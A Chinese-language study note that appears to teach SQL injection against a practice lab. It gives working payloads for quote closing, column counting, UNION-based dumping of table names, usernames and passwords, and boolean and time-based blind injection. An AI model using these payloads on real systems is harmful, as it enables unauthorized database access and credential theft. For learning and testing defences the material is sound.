SQL注入流程
1.查找前端页面与后端数据库存在交互的地方,比如:url、搜索框、登陆点等
2.判断注入类型
3.字段数
4.有无回显,显示位置
5.库名、表名、字段名、数据
字符型注入
代码中SQL查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
闭合字符
'
"
')
")
'))
"))
1.判断注入类型
?id=1' and 1=1 --+
?id=1' and 1=2 --+
2.字段数
判断存在多少字段
order by 3
group by 3
判断三个字段时,未报错
判断四个字段时,报错,说明存在三个字段
3.有无回显,显示位置
使用联合查询union查看显示位置
?id=-1' union select 1,2,3 --+
查看id等于-1,数据库中找不到等于-1的id值,会报错,然后执行后面的select语句
4.查看库名,表名
库名:database()
表名
id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
5.查看列名,数据
列名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
数据:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
数字型注入
输入单引号,将字原封不动的带到数据库中,叫做数字型注入,把闭合符号去掉进行注入
代码中查询语句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
盲注
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
盲注不会直接显示数据,可以根据页面返回的变化来判断是否存在注入
?id=1' and 1=1 --+
返回You are in...........
?id=1' and 1=2 --+
无返回
可以判断,存在字符型的sql盲注,并且有回显
判断数据库名称的长度,数据库长度等于8时,返回正确页面
判断库名
截取database()数据库名的第一个字符,判断是否等于s,返回成功则库名第一个字符是s
第二个字符是e
以此类推
表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+
列名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=114 --+
时间盲注
在页面不回显,也看不到任何区别时,可以通过浏览器和服务器之间的响应速度来判断是否存在注入。
如果数据库的长度是8位,那么就延迟5秒钟
表名,列名以此类推